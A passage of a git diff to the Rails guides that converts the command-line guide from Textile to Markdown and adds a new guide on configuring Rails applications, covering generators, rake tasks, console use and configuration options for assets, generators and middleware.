gives a list of available generators: -INFO: You can also use the alias "g" to invoke the generator command: <tt>rails g</tt>. +INFO: You can also use the alias "g" to invoke the generator command: `rails g`. -<shell> +```bash $ rails generate Usage: rails generate GENERATOR [args] [options] @@ -103,17 +105,17 @@ Rails: generator ... ... -</shell> +``` NOTE: You can install more generators through generator gems, portions of plugins you'll undoubtedly install, and you can even create your own! -Using generators will save you a large amount of time by writing *boilerplate code*, code that is necessary for the app to work. +Using generators will save you a large amount of time by writing **boilerplate code**, code that is necessary for the app to work. Let's make our own controller with the controller generator. But what command should we use? Let's ask the generator: -INFO: All Rails console utilities have help text. As with most *nix utilities, you can try adding +--help+ or +-h+ to the end, for example +rails server --help+. +INFO: All Rails console utilities have help text. As with most *nix utilities, you can try adding `--help` or `-h` to the end, for example `rails server --help`. -<shell> +```bash $ rails generate controller Usage: rails generate controller NAME [action action] [options] @@ -136,11 +138,11 @@ Example: Functional Test: test/functional/credit_card_controller_test.rb Views: app/views/credit_card/debit.html.erb [...] Helper: app/helpers/credit_card_helper.rb -</shell> +``` -The controller generator is expecting parameters in the form of +generate controller ControllerName action1 action2+. Let's make a +Greetings+ controller with an action of *hello*, which will say something nice to us. +The controller generator is expecting parameters in the form of `generate controller ControllerName action1 action2`. Let's make a `Greetings` controller with an action of **hello**, which will say something nice to us. -<shell> +```bash $ rails generate controller Greetings hello create app/controllers/greetings_controller.rb route get "greetings/hello" @@ -158,41 +160,41 @@ $ rails generate controller Greetings hello create app/assets/javascripts/greetings.js.coffee invoke scss create app/assets/stylesheets/greetings.css.scss -</shell> +``` What all did this generate? It made sure a bunch of directories were in our application, and created a controller file, a view file, a functional test file, a helper for the view, a JavaScript file and a stylesheet file. -Check out the controller and modify it a little (in +app/controllers/greetings_controller.rb+): +Check out the controller and modify it a little (in `app/controllers/greetings_controller.rb`): -<ruby> +```ruby class GreetingsController < ApplicationController def hello @message = "Hello, how are you today?" end end -</ruby> +``` -Then the view, to display our message (in +app/views/greetings/hello.html.erb+): +Then the view, to display our message (in `app/views/greetings/hello.html.erb`): -<html> +```erb <h1>A Greeting for You!</h1> <p><%= @message %></p> -</html> +``` -Fire up your server using +rails server+. +Fire up your server using `rails server`. -<shell> +```bash $ rails server => Booting WEBrick... -</shell> +``` -The URL will be "http://localhost:3000/greetings/hello":http://localhost:3000/greetings/hello. +The URL will be [http://localhost:3000/greetings/hello](http://localhost:3000/greetings/hello). -INFO: With a normal, plain-old Rails application, your URLs will generally follow the pattern of http://(host)/(controller)/(action), and a URL like http://(host)/(controller) will hit the *index* action of that controller. +INFO: With a normal, plain-old Rails application, your URLs will generally follow the pattern of http://(host)/(controller)/(action), and a URL like http://(host)/(controller) will hit the **index** action of that controller. Rails comes with a generator for data models too. -<shell> +```bash $ rails generate model Usage: rails generate model NAME [field[:type][:index] field[:type][:index]] [options] @@ -207,15 +209,15 @@ ActiveRecord options: Description: Create rails files for model generator. -</shell> +``` -NOTE: For a list of available field types, refer to the "API documentation":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html#method-i-column for the column method for the +TableDefinition+ class. +NOTE: For a list of available field types, refer to the [API documentation](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html#method-i-column) for the column method for the `TableDefinition` class. -But instead of generating a model directly (which we'll be doing later), let's set up a scaffold. A *scaffold* in Rails is a full set of model, database migration for that model, controller to manipulate it, views to view and manipulate the data, and a test suite for each of the above. +But instead of generating a model directly (which we'll be doing later), let's set up a scaffold. A **scaffold** in Rails is a full set of model, database migration for that model, controller to manipulate it, views to view and manipulate the data, and a test suite for each of the above. We will set up a simple resource called "HighScore" that will keep track of our highest score on video games we play. -<shell> +```bash $ rails generate scaffold HighScore game:string score:integer invoke active_record create db/migrate/20120528060026_create_high_scores.rb @@ -246,80 +248,80 @@ $ rails generate scaffold HighScore game:string score:integer create app/assets/stylesheets/high_scores.css.scss invoke scss create app/assets/stylesheets/scaffolds.css.scss -</shell> +``` -The generator checks that there exist the directories for models, controllers, helpers, layouts, functional and unit tests, stylesheets, creates the views, controller, model and database migration for HighScore (creating the +high_scores+ table and fields), takes care of the route for the *resource*, and new tests for everything. +The generator checks that there exist the directories for models, controllers, helpers, layouts, functional and unit tests, stylesheets, creates the views, controller, model and database migration for HighScore (creating the `high_scores` table and fields), takes care of the route for the **resource**, and new tests for everything. -The migration requires that we *migrate*, that is, run some Ruby code (living in that +20120528060026_create_high_scores.rb+) to modify the schema of our database. Which database? The sqlite3 database that Rails will create for you when we run the +rake db:migrate+ command. We'll talk more about Rake in-depth in a little while. +The migration requires that we **migrate**, that is, run some Ruby code (living in that `20120528060026_create_high_scores.rb`) to modify the schema of our database. Which database? The sqlite3 database that Rails will create for you when we run the `rake db:migrate` command. We'll talk more about Rake in-depth in a little while. -<shell> +```bash $ rake db:migrate == CreateHighScores: migrating =============================================== -- create_table(:high_scores) -> 0.0017s == CreateHighScores: migrated (0.0019s) ====================================== -</shell> +``` INFO: Let's talk about unit tests. Unit tests are code that tests and makes assertions about code. In unit testing, we take a little part of code, say a method of a model, and test its inputs and outputs. Unit tests are your friend. The sooner you make peace with the fact that your quality of life will drastically increase when you unit test your code, the better. Seriously. We'll make one in a moment. Let's see the interface Rails created for us. -<shell> +```bash $ rails server -</shell> +``` -Go to your browser and open "http://localhost:3000/high_scores":http://localhost:3000/high_scores, now we can create new high scores (55,160 on Space Invaders!) +Go to your browser and open [http://localhost:3000/high_scores](http://localhost:3000/high_scores), now we can create new high scores (55,160 on Space Invaders!) -h4. +rails console+ +### `rails console` -The +console+ command lets you interact with your Rails application from the command line. On the underside, +rails console+ uses IRB, so if you've ever used it, you'll be right at home. This is useful for testing out quick ideas with code and changing data server-side without touching the website. +The `console` command lets you interact with your Rails application from the command line. On the underside, `rails console` uses IRB, so if you've ever used it, you'll be right at home. This is useful for testing out quick ideas with code and changing data server-side without touching the website. -INFO: You can also use the alias "c" to invoke the console: <tt>rails c</tt>. +INFO: You can also use the alias "c" to invoke the console: `rails c`. -You can specify the environment in which the +console+ command should operate. +You can specify the environment in which the `console` command should operate. -<shell> +```bash $ rails console staging -</shell> +``` -If you wish to test out some code without changing any data, you can do that by invoking +rails console --sandbox+. +If you wish to test out some code without changing any data, you can do that by invoking `rails console --sandbox`. -<shell> +```bash $ rails console --sandbox Loading development environment in sandbox (Rails 3.2.3) Any modifications you make will be rolled back on exit irb(main):001:0> -</shell> +``` -h4. +rails dbconsole+ +### `rails dbconsole` -+rails dbconsole+ figures out which database you're using and drops you into whichever command line interface you would use with it (and figures out the command line parameters to give to it, too!). It supports MySQL, PostgreSQL, SQLite and SQLite3. +`rails dbconsole` figures out which database you're using and drops you into whichever command line interface you would use with it (and figures out the command line parameters to give to it, too!). It supports MySQL, PostgreSQL, SQLite and SQLite3. -INFO: You can also use the alias "db" to invoke the dbconsole: <tt>rails db</tt>. +INFO: You can also use the alias "db" to invoke the dbconsole: `rails db`. -h4. +rails runner+ +### `rails runner` -<tt>runner</tt> runs Ruby code in the context of Rails non-interactively. For instance: +`runner` runs Ruby code in the context of Rails non-interactively. For instance: -<shell> +```bash $ rails runner "Model.long_running_method" -</shell> +``` -INFO: You can also use the alias "r" to invoke the runner: <tt>rails r</tt>. +INFO: You can also use the alias "r" to invoke the runner: `rails r`. -You can specify the environment in which the +runner+ command should operate using the +-e+ switch. +You can specify the environment in which the `runner` command should operate using the `-e` switch. -<shell> +```bash $ rails runner -e staging "Model.long_running_method" -</shell> +``` -h4. +rails destroy+ +### `rails destroy` -Think of +destroy+ as the opposite of +generate+. It'll figure out what generate did, and undo it. +Think of `destroy` as the opposite of `generate`. It'll figure out what generate did, and undo it. -INFO: You can also use the alias "d" to invoke the destroy command: <tt>rails d</tt>. +INFO: You can also use the alias "d" to invoke the destroy command: `rails d`. -<shell> +```bash $ rails generate model Oops invoke active_record create db/migrate/20120528062523_create_oops.rb @@ -327,8 +329,8 @@ $ rails generate model Oops invoke test_unit create test/unit/oops_test.rb create test/fixtures/oops.yml -</shell> -<shell> +``` +```bash $ rails destroy model Oops invoke active_record remove db/migrate/20120528062523_create_oops.rb @@ -336,15 +338,16 @@ $ rails destroy model Oops invoke test_unit remove test/unit/oops_test.rb remove test/fixtures/oops.yml -</shell> +``` -h3. Rake +Rake +---- -Rake is Ruby Make, a standalone Ruby utility that replaces the Unix utility 'make', and uses a 'Rakefile' and +.rake+ files to build up a list of tasks. In Rails, Rake is used for common administration tasks, especially sophisticated ones that build off of each other. +Rake is Ruby Make, a standalone Ruby utility that replaces the Unix utility 'make', and uses a 'Rakefile' and `.rake` files to build up a list of tasks. In Rails, Rake is used for common administration tasks, especially sophisticated ones that build off of each other. -You can get a list of Rake tasks available to you, which will often depend on your current directory, by typing +rake --tasks+. Each task has a description, and should help you find the thing you need. +You can get a list of Rake tasks available to you, which will often depend on your current directory, by typing `rake --tasks`. Each task has a description, and should help you find the thing you need. -<shell> +```bash $ rake --tasks rake about # List versions of all Rails frameworks and the environment rake assets:clean # Remove compiled assets @@ -356,13 +359,13 @@ rake middleware # Prints out your Rack middleware stack ... rake tmp:clear # Clear session, cache, and socket files from tmp/ (narrow w/ tmp:sessions:clear, tmp:cache:clear, tmp:sockets:clear) rake tmp:create # Creates tmp directories for sessions, cache, sockets, and pids -</shell> +``` -h4. +about+ +### `about` -<tt>rake about</tt> gives information about version numbers for Ruby, RubyGems, Rails, the Rails subcomponents, your application's folder, the current Rails environment name, your app's database adapter, and schema version. It is useful when you need to ask for help, check if a security patch might affect you, or when you need some stats for an existing Rails installation. +`rake about` gives information about version numbers for Ruby, RubyGems, Rails, the Rails subcomponents, your application's folder, the current Rails environment name, your app's database adapter, and schema version. It is useful when you need to ask for help, check if a security patch might affect you, or when you need some stats for an existing Rails installation. -<shell> +```bash $ rake about About your application's environment Ruby version 1.9.3 (x86_64-linux) @@ -379,31 +382,31 @@ Application root /home/foobar/commandsapp Environment development Database adapter sqlite3 Database schema version 20110805173523 -</shell> +``` -h4. +assets+ +### `assets` -You can precompile the assets in <tt>app/assets</tt> using <tt>rake assets:precompile</tt> and remove those compiled assets using <tt>rake assets:clean</tt>. +You can precompile the assets in `app/assets` using `rake assets:precompile` and remove those compiled assets using `rake assets:clean`. -h4. +db+ +### `db` -The most common tasks of the +db:+ Rake namespace are +migrate+ and +create+, and it will pay off to try out all of the migration rake tasks (+up+, +down+, +redo+, +reset+). +rake db:version+ is useful when troubleshooting, telling you the current version of the database. +The most common tasks of the `db:` Rake namespace are `migrate` and `create`, and it will pay off to try out all of the migration rake tasks (`up`, `down`, `redo`, `reset`). `rake db:version` is useful when troubleshooting, telling you the current version of the database. -More information about migrations can be found in the "Migrations":migrations.html guide. +More information about migrations can be found in the [Migrations](migrations.html) guide. -h4. +doc+ +### `doc` -The +doc:+ namespace has the tools to generate documentation for your app, API documentation, guides. Documentation can also be stripped which is mainly useful for slimming your codebase, like if you're writing a Rails application for an embedded platform. +The `doc:` namespace has the tools to generate documentation for your app, API documentation, guides. Documentation can also be stripped which is mainly useful for slimming your codebase, like if you're writing a Rails application for an embedded platform. -* +rake doc:app+ generates documentation for your application in +doc/app+. -* +rake doc:guides+ generates Rails guides in +doc/guides+. -* +rake doc:rails+ generates API documentation for Rails in +doc/api+. +* `rake doc:app` generates documentation for your application in `doc/app`. +* `rake doc:guides` generates Rails guides in `doc/guides`. +* `rake doc:rails` generates API documentation for Rails in `doc/api`. -h4. +notes+ +### `notes` -+rake notes+ will search through your code for comments beginning with FIXME, OPTIMIZE or TODO. The search is done in files with extension +.builder+, +.rb+, +.erb+, +.haml+ and +.slim+ for both default and custom annotations. +`rake notes` will search through your code for comments beginning with FIXME, OPTIMIZE or TODO. The search is done in files with extension `.builder`, `.rb`, `.erb`, `.haml` and `.slim` for both default and custom annotations. -<shell> +```bash $ rake notes (in /home/foobar/commandsapp) app/controllers/admin/users_controller.rb: @@ -413,11 +416,11 @@ app/controllers/admin/users_controller.rb: app/model/school.rb: * [ 13] [OPTIMIZE] refactor this code to make it faster * [ 17] [FIXME] -</shell> +``` -If you are looking for a specific annotation, say FIXME, you can use +rake notes:fixme+. Note that you have to lower case the annotation's name. +If you are looking for a specific annotation, say FIXME, you can use `rake notes:fixme`. Note that you have to lower case the annotation's name. -<shell> +```bash $ rake notes:fixme (in /home/foobar/commandsapp) app/controllers/admin/users_controller.rb: @@ -425,22 +428,22 @@ app/controllers/admin/users_controller.rb: app/model/school.rb: * [ 17] -</shell> +``` -You can also use custom annotations in your code and list them using +rake notes:custom+ by specifying the annotation using an environment variable +ANNOTATION+. +You can also use custom annotations in your code and list them using `rake notes:custom` by specifying the annotation using an environment variable `ANNOTATION`. -<shell> +```bash $ rake notes:custom ANNOTATION=BUG (in /home/foobar/commandsapp) app/model/post.rb: * [ 23] Have to fix this one before pushing! -</shell> +``` NOTE. When using specific annotations and custom annotations, the annotation name (FIXME, BUG etc) is not displayed in the output lines. -By default, +rake notes+ will look in the +app+, +config+, +lib+, +script+ and +test+ directories. If you would like to search other directories, you can provide them as a comma separated list in an environment variable +SOURCE_ANNOTATION_DIRECTORIES+. +By default, `rake notes` will look in the `app`, `config`, `lib`, `script` and `test` directories. If you would like to search other directories, you can provide them as a comma separated list in an environment variable `SOURCE_ANNOTATION_DIRECTORIES`. -<shell> +```bash $ export SOURCE_ANNOTATION_DIRECTORIES='rspec,vendor' $ rake notes (in /home/foobar/commandsapp) @@ -448,93 +451,94 @@ app/model/user.rb: * [ 35] [FIXME] User should have a subscription at this point rspec/model/user_spec.rb: * [122] [TODO] Verify the user that has a subscription works -</shell> +``` -h4. +routes+ +### `routes` -+rake routes+ will list all of your defined routes, which is useful for tracking down routing problems in your app, or giving you a good overview of the URLs in an app you're trying to get familiar with. +`rake routes` will list all of your defined routes, which is useful for tracking down routing problems in your app, or giving you a good overview of the URLs in an app you're trying to get familiar with. -h4. +test+ +### `test` -INFO: A good description of unit testing in Rails is given in "A Guide to Testing Rails Applications":testing.html +INFO: A good description of unit testing in Rails is given in [A Guide to Testing Rails Applications](testing.html) -Rails comes with a test suite called <tt>Test::Unit</tt>. Rails owes its stability to the use of tests. The tasks available in the +test:+ namespace helps in running the different tests you will hopefully write. +Rails comes with a test suite called `Test::Unit`. Rails owes its stability to the use of tests. The tasks available in the `test:` namespace helps in running the different tests you will hopefully write. -h4. +tmp+ +### `tmp` -The <tt>Rails.root/tmp</tt> directory is, like the *nix /tmp directory, the holding place for temporary files like sessions (if you're using a file store for files), process id files, and cached actions. +The `Rails.root/tmp` directory is, like the *nix /tmp directory, the holding place for temporary files like sessions (if you're using a file store for files), process id files, and cached actions. -The +tmp:+ namespaced tasks will help you clear the <tt>Rails.root/tmp</tt> directory: +The `tmp:` namespaced tasks will help you clear the `Rails.root/tmp` directory: -* +rake tmp:cache:clear+ clears <tt>tmp/cache</tt>. -* +rake tmp:sessions:clear+ clears <tt>tmp/sessions</tt>. -* +rake tmp:sockets:clear+ clears <tt>tmp/sockets</tt>. -* +rake tmp:clear+ clears all the three: cache, sessions and sockets. +* `rake tmp:cache:clear` clears `tmp/cache`. +* `rake tmp:sessions:clear` clears `tmp/sessions`. +* `rake tmp:sockets:clear` clears `tmp/sockets`. +* `rake tmp:clear` clears all the three: cache, sessions and sockets. -h4. Miscellaneous +### Miscellaneous -* +rake stats+ is great for looking at statistics on your code, displaying things like KLOCs (thousands of lines of code) and your code to test ratio. -* +rake secret+ will give you a pseudo-random key to use for your session secret. -* <tt>rake time:zones:all</tt> lists all the timezones Rails knows about. +* `rake stats` is great for looking at statistics on your code, displaying things like KLOCs (thousands of lines of code) and your code to test ratio. +* `rake secret` will give you a pseudo-random key to use for your session secret. +* `rake time:zones:all` lists all the timezones Rails knows about. -h4. Writing Rake Tasks +### Writing Rake Tasks If you have (or want to write) any automation scripts outside your app (data import, checks, etc), you can make them as rake tasks. It's easy. -INFO: "Complete guide about how to write tasks":http://rake.rubyforge.org/files/doc/rakefile_rdoc.html is available in the official documentation. +INFO: [Complete guide about how to write tasks](http://rake.rubyforge.org/files/doc/rakefile_rdoc.html) is available in the official documentation. -Tasks should be placed in <tt>Rails.root/lib/tasks</tt> and should have a +.rake+ extension. +Tasks should be placed in `Rails.root/lib/tasks` and should have a `.rake` extension. Each task should be defined in next format (dependencies are optional): -<ruby> +```ruby desc "I am short, but comprehensive description for my cool task" task :task_name => [:prerequisite_task, :another_task_we_depend_on] do # All your magick here # Any valid Ruby code is allowed end -</ruby> +``` If you need to pass parameters, you can use next format (both arguments and dependencies are optional): -<ruby> +```ruby task :task_name, [:arg_1] => [:pre_1, :pre_2] do |t, args| # You can use args from here end -</ruby> +``` You can group tasks by placing them in namespaces: -<ruby> +```ruby namespace :do desc "This task does nothing" task :nothing do # Seriously, nothing end end -</ruby> +``` -You can see your tasks to be listed by <tt>rake -T</tt> command. And, according to the examples above, you can invoke them as follows: +You can see your tasks to be listed by `rake -T` command. And, according to the examples above, you can invoke them as follows: -<shell> +```bash rake task_name rake "task_name[value 1]" # entire argument string should be quoted rake do:nothing -</shell> +``` -NOTE: If your need to interact with your application models, perform database queries and so on, your task should depend on the +environment+ task, which will load your application code. +NOTE: If your need to interact with your application models, perform database queries and so on, your task should depend on the `environment` task, which will load your application code. -h3. The Rails Advanced Command Line +The Rails Advanced Command Line +------------------------------- More advanced use of the command line is focused around finding useful (even surprising at times) options in the utilities, and fitting those to your needs and specific work flow. Listed here are some tricks up Rails' sleeve. -h4. Rails with Databases and SCM +### Rails with Databases and SCM When creating a new Rails application, you have the option to specify what kind of database and what kind of source code management system your application is going to use. This will save you a few minutes, and certainly many keystrokes. -Let's see what a +--git+ option and a +--database=postgresql+ option will do for us: +Let's see what a `--git` option and a `--database=postgresql` option will do for us: -<shell> +```bash $ mkdir gitapp $ cd gitapp $ git init @@ -557,11 +561,11 @@ add 'app/controllers/application_controller.rb' ... create log/test.log add 'log/test.log' -</shell> +``` -We had to create the *gitapp* directory and initialize an empty git repository before Rails would add files it created to our repository. Let's see what it put in our database configuration: +We had to create the **gitapp** directory and initialize an empty git repository before Rails would add files it created to our repository. Let's see what it put in our database configuration: -<shell> +```bash $ cat config/database.yml # PostgreSQL. Versions 8.2 and up are supported. # @@ -582,21 +586,21 @@ development: password: ... ... -</shell> +``` It also generated some lines in our database.yml configuration corresponding to our choice of PostgreSQL for database. -NOTE. The only catch with using the SCM options is that you have to make your application's directory first, then initialize your SCM, then you can run the +rails new+ command to generate the basis of your app. +NOTE. The only catch with using the SCM options is that you have to make your application's directory first, then initialize your SCM, then you can run the `rails new` command to generate the basis of your app. -h4(#different-servers). +server+ with Different Backends +### `server` with Different Backends Many people have created a large number of different web servers in Ruby, and many of them can be used to run Rails. Since version 2.3, Rails uses Rack to serve its webpages, which means that any webserver that implements a Rack handler can be used. This includes WEBrick, Mongrel, Thin, and Phusion Passenger (to name a few!). -NOTE: For more details on the Rack integration, see "Rails on Rack":rails_on_rack.html. +NOTE: For more details on the Rack integration, see [Rails on Rack](rails_on_rack.html). -To use a different server, just install its gem, then use its name for the first parameter to +rails server+: +To use a different server, just install its gem, then use its name for the first parameter to `rails server`: -<shell> +```bash $ sudo gem install mongrel Building native extensions. This could take a while... Building native extensions. This could take a while... @@ -611,4 +615,4 @@ $ rails server mongrel => Booting Mongrel (use 'rails server webrick' to force WEBrick) => Rails 3.1.0 application starting on http://0.0.0.0:3000 ... -</shell> +``` diff --git a/guides/source/configuring.md b/guides/source/configuring.md new file mode 100644 index 0000000000..a2c8d70095 --- /dev/null +++ b/guides/source/configuring.md @@ -0,0 +1,788 @@ +Configuring Rails Applications +============================== + +This guide covers the configuration and initialization features available to Rails applications. By referring to this guide, you will be able to: + +* Adjust the behavior of your Rails applications +* Add additional code to be run at application start time + +-------------------------------------------------------------------------------- + +Locations for Initialization Code +--------------------------------- + +Rails offers four standard spots to place initialization code: + +* `config/application.rb` +* Environment-specific configuration files +* Initializers +* After-initializers + +Running Code Before Rails +------------------------- + +In the rare event that your application needs to run some code before Rails itself is loaded, put it above the call to `require 'rails/all'` in `config/application.rb`. + +Configuring Rails Components +---------------------------- + +In general, the work of configuring Rails means configuring the components of Rails, as well as configuring Rails itself. The configuration file `config/application.rb` and environment-specific configuration files (such as `config/environments/production.rb`) allow you to specify the various settings that you want to pass down to all of the components. + +For example, the default `config/application.rb` file includes this setting: + +```ruby +config.filter_parameters += [:password] +``` + +This is a setting for Rails itself. If you want to pass settings to individual Rails components, you can do so via the same `config` object in `config/application.rb`: + +```ruby +config.active_record.observers = [:hotel_observer, :review_observer] +``` + +Rails will use that particular setting to configure Active Record. + +### Rails General Configuration + +These configuration methods are to be called on a `Rails::Railtie` object, such as a subclass of `Rails::Engine` or `Rails::Application`. + +* `config.after_initialize` takes a block which will be run _after_ Rails has finished initializing the application. That includes the initialization of the framework itself, engines, and all the application's initializers in `config/initializers`. Note that this block _will_ be run for rake tasks. Useful for configuring values set up by other initializers: + + ```ruby + config.after_initialize do + ActionView::Base.sanitized_allowed_tags.delete 'div' + end + ``` + +* `config.asset_host` sets the host for the assets. Useful when CDNs are used for hosting assets, or when you want to work around the concurrency constraints builtin in browsers using different domain aliases. Shorter version of `config.action_controller.asset_host`. + +* `config.asset_path` lets you decorate asset paths. This can be a callable, a string, or be `nil` which is the default. For example, the normal path for `blog.js` would be `/javascripts/blog.js`, let that absolute path be `path`. If `config.asset_path` is a callable, Rails calls it when generating asset paths passing `path` as argument. If `config.asset_path` is a string, it is expected to be a `sprintf` format string with a `%s` where `path` will get inserted. In either case, Rails outputs the decorated path. Shorter version of `config.action_controller.asset_path`. + + ```ruby + config.asset_path = proc { |path| "/blog/public#{path}" } + ``` + +NOTE. The `config.asset_path` configuration is ignored if the asset pipeline is enabled, which is the default. + +* `config.autoload_once_paths` accepts an array of paths from which Rails will autoload constants that won't be wiped per request. Relevant if `config.cache_classes` is false, which is the case in development mode by default. Otherwise, all autoloading happens only once. All elements of this array must also be in `autoload_paths`. Default is an empty array. + +* `config.autoload_paths` accepts an array of paths from which Rails will autoload constants. Default is all directories under `app`. + +* `config.cache_classes` controls whether or not application classes and modules should be reloaded on each request. Defaults to false in development mode, and true in test and production modes. Can also be enabled with `threadsafe!`. + +* `config.action_view.cache_template_loading` controls whether or not templates should be reloaded on each request. Defaults to whatever is set for `config.cache_classes`. + +* `config.cache_store` configures which cache store to use for Rails caching. Options include one of the symbols `:memory_store`, `:file_store`, `:mem_cache_store`, `:null_store`, or an object that implements the cache API. Defaults to `:file_store` if the directory `tmp/cache` exists, and to `:memory_store` otherwise. + +* `config.colorize_logging` specifies whether or not to use ANSI color codes when logging information. Defaults to true. + +* `config.consider_all_requests_local` is a flag. If true then any error will cause detailed debugging information to be dumped in the HTTP response, and the `Rails::Info` controller will show the application runtime context in `/rails/info/properties`. True by default in development and test environments, and false in production mode. For finer-grained control, set this to false and implement `local_request?` in controllers to specify which requests should provide debugging information on errors. + +* `config.console` allows you to set class that will be used as console you run `rails console`. It's best to run it in `console` block: + + ```ruby + console do + # this block is called only when running console, + # so we can safely require pry here + require "pry" + config.console = Pry + end + ``` + +* `config.dependency_loading` is a flag that allows you to disable constant autoloading setting it to false. It only has effect if `config.cache_classes` is true, which it is by default in production mode. This flag is set to false by `config.threadsafe!`. + +* `config.eager_load` when true, eager loads all registered `config.eager_load_namespaces`. This includes your application, engines, Rails frameworks and any other registered namespace. + +* `config.eager_load_namespaces` registers namespaces that are eager loaded when `config.eager_load` is true. All namespaces in the list must respond to the `eager_load!` method. + +* `config.eager_load_paths` accepts an array of paths from which Rails will eager load on boot if cache classes is enabled. Defaults to every folder in the `app` directory of the application. + +* `config.encoding` sets up the application-wide encoding. Defaults to UTF-8. + +* `config.exceptions_app` sets the exceptions application invoked by the ShowException middleware when an exception happens. Defaults to `ActionDispatch::PublicExceptions.new(Rails.public_path)`. + +* `config.file_watcher` the class used to detect file updates in the filesystem when `config.reload_classes_only_on_change` is true. Must conform to `ActiveSupport::FileUpdateChecker` API. + +* `config.filter_parameters` used for filtering out the parameters that you don't want shown in the logs, such as passwords or credit card numbers. + +* `config.force_ssl` forces all requests to be under HTTPS protocol by using `ActionDispatch::SSL` middleware. + +* `config.log_level` defines the verbosity of the Rails logger. This option defaults to `:debug` for all modes except production, where it defaults to `:info`. + +* `config.log_tags` accepts a list of methods that respond to `request` object. This makes it easy to tag log lines with debug information like subdomain and request id -- both very helpful in debugging multi-user production applications. + +* `config.logger` accepts a logger conforming to the interface of Log4r or the default Ruby `Logger` class. Defaults to an instance of `ActiveSupport::BufferedLogger`, with auto flushing off in production mode. + +* `config.middleware` allows you to configure the application's middleware. This is covered in depth in the [Configuring Middleware](#configuring-middleware) section below. + +* `config.queue` configures a different queue implementation for the application. Defaults to `ActiveSupport::SynchronousQueue`. Note that, if the default queue is changed, the default `queue_consumer` is not going to be initialized, it is up to the new queue implementation to handle starting and shutting down its own consumer(s). + +* `config.queue_consumer` configures a different consumer implementation for the default queue. Defaults to `ActiveSupport::ThreadedQueueConsumer`. + +* `config.reload_classes_only_on_change` enables or disables reloading of classes only when tracked files change. By default tracks everything on autoload paths and is set to true. If `config.cache_classes` is true, this option is ignored. + +* `config.secret_token` used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get `config.secret_token` initialized to a random key in `config/initializers/secret_token.rb`. + +* `config.serve_static_assets` configures Rails itself to serve static assets. Defaults to true, but in the production environment is turned off as the server software (e.g. Nginx or Apache) used to run the application should serve static assets instead. Unlike the default setting set this to true when running (absolutely not recommended!) or testing your app in production mode using WEBrick. Otherwise you won´t be able use page caching and requests for files that exist regularly under the public directory will anyway hit your Rails app. + +* `config.session_store` is usually set up in `config/initializers/session_store.rb` and specifies what class to use to store the session. Possible values are `:cookie_store` which is the default, `:mem_cache_store`, and `:disabled`. The last one tells Rails not to deal with sessions. Custom session stores can also be specified: + + ```ruby + config.session_store :my_custom_store + ``` + + This custom store must be defined as `ActionDispatch::Session::MyCustomStore`. + +* `config.time_zone` sets the default time zone for the application and enables time zone awareness for Active Record. + +* `config.whiny_nils` enables or disables warnings when a certain set of methods are invoked on `nil` and it does not respond to them. Defaults to true in development and test environments. + +### Configuring Assets + +Rails 3.1, by default, is set up to use the `sprockets` gem to manage assets within an application. This gem concatenates and compresses assets in order to make serving them much less painful. + +* `config.assets.enabled` a flag that controls whether the asset pipeline is enabled. It is explicitly initialized in `config/application.rb`. + +* `config.assets.compress` a flag that enables the compression of compiled assets. It is explicitly set to true in `config/production.rb`. + +* `config.assets.css_compressor` defines the CSS compressor to use. It is set by default by `sass-rails`. The unique alternative value at the moment is `:yui`, which uses the `yui-compressor` gem. + +* `config.assets.js_compressor` defines the JavaScript compressor to use. Possible values are `:closure`, `:uglifier` and `:yui` which require the use of the `closure-compiler`, `uglifier` or `yui-compressor` gems respectively. + +* `config.assets.paths` contains the paths which are used to look for assets. Appending paths to this configuration option will cause those paths to be used in the search for assets. + +* `config.assets.precompile` allows you to specify additional assets (other than `application.css` and `application.js`) which are to be precompiled when `rake assets:precompile` is run. + +* `config.assets.prefix` defines the prefix where assets are served from. Defaults to `/assets`. + +* `config.assets.digest` enables the use of MD5 fingerprints in asset names. Set to `true` by default in `production.rb`. + +* `config.assets.debug` disables the concatenation and compression of assets. Set to `true` by default in `development.rb`. + +* `config.assets.manifest` defines the full path to be used for the asset precompiler's manifest file. Defaults to using `config.assets.prefix`. + +* `config.assets.cache_store` defines the cache store that Sprockets will use. The default is the Rails file store. + +* `config.assets.version` is an option string that is used in MD5 hash generation. This can be changed to force all files to be recompiled. + +* `config.assets.compile` is a boolean that can be used to turn on live Sprockets compilation in production. + +* `config.assets.logger` accepts a logger conforming to the interface of Log4r or the default Ruby `Logger` class. Defaults to the same configured at `config.logger`. Setting `config.assets.logger` to false will turn off served assets logging. + +### Configuring Generators + +Rails 3 allows you to alter what generators are used with the `config.generators` method. This method takes a block: + +```ruby +config.generators do |g| + g.orm :active_record + g.test_framework :test_unit +end +``` + +The full set of methods that can be used in this block are as follows: + +* `assets` allows to create assets on generating a scaffold. Defaults to `true`. +* `force_plural` allows pluralized model names. Defaults to `false`. +* `helper` defines whether or not to generate helpers. Defaults to `true`. +* `integration_tool` defines which integration tool to use. Defaults to `nil`. +* `javascripts` turns on the hook for JavaScript files in generators. Used in Rails for when the `scaffold` generator is run. Defaults to `true`. +* `javascript_engine` configures the engine to be used (for eg. coffee) when generating assets. Defaults to `nil`. +* `orm` defines which orm to use. Defaults to `false` and will use Active Record by default. +* `performance_tool` defines which performance tool to use. Defaults to `nil`. +* `resource_controller` defines which generator to use for generating a controller when using `rails generate resource`. Defaults to `:controller`. +* `scaffold_controller` different from `resource_controller`, defines which generator to use for generating a _scaffolded_ controller when using `rails generate scaffold`. Defaults to `:scaffold_controller`. +* `stylesheets` turns on the hook for stylesheets in generators. Used in Rails for when the `scaffold` generator is run, but this hook can be used in other generates as well. Defaults to `true`. +* `stylesheet_engine` configures the stylesheet engine (for eg. sass) to be used when generating assets. Defaults to `:css`. +* `test_framework` defines which test framework to use. Defaults to `false` and will use Test::Unit by default. +* `template_engine` defines which template engine to use, such as ERB or Haml. Defaults to `:erb`. + +### Configuring Middleware + +Every Rails application comes with a standard set of middleware which it uses in this order in the development environment: + +* `ActionDispatch::SSL` forces every request to be under HTTPS protocol. Will be available if `config.force_ssl` is set to `true`. Options passed to this can be configured by using `config.ssl_options`. +* `ActionDispatch::Static` is used to serve static assets. Disabled if `config.serve_static_assets` is `false`. +* `Rack::Lock` wraps the app in mutex so it can only be called by a single thread at a time. Only enabled when `config.cache_classes` is `false`. +* `ActiveSupport::Cache::Strategy::LocalCache` serves as a basic memory backed cache. This cache is not thread safe and is intended only for serving as a temporary memory cache for a single thread. +* 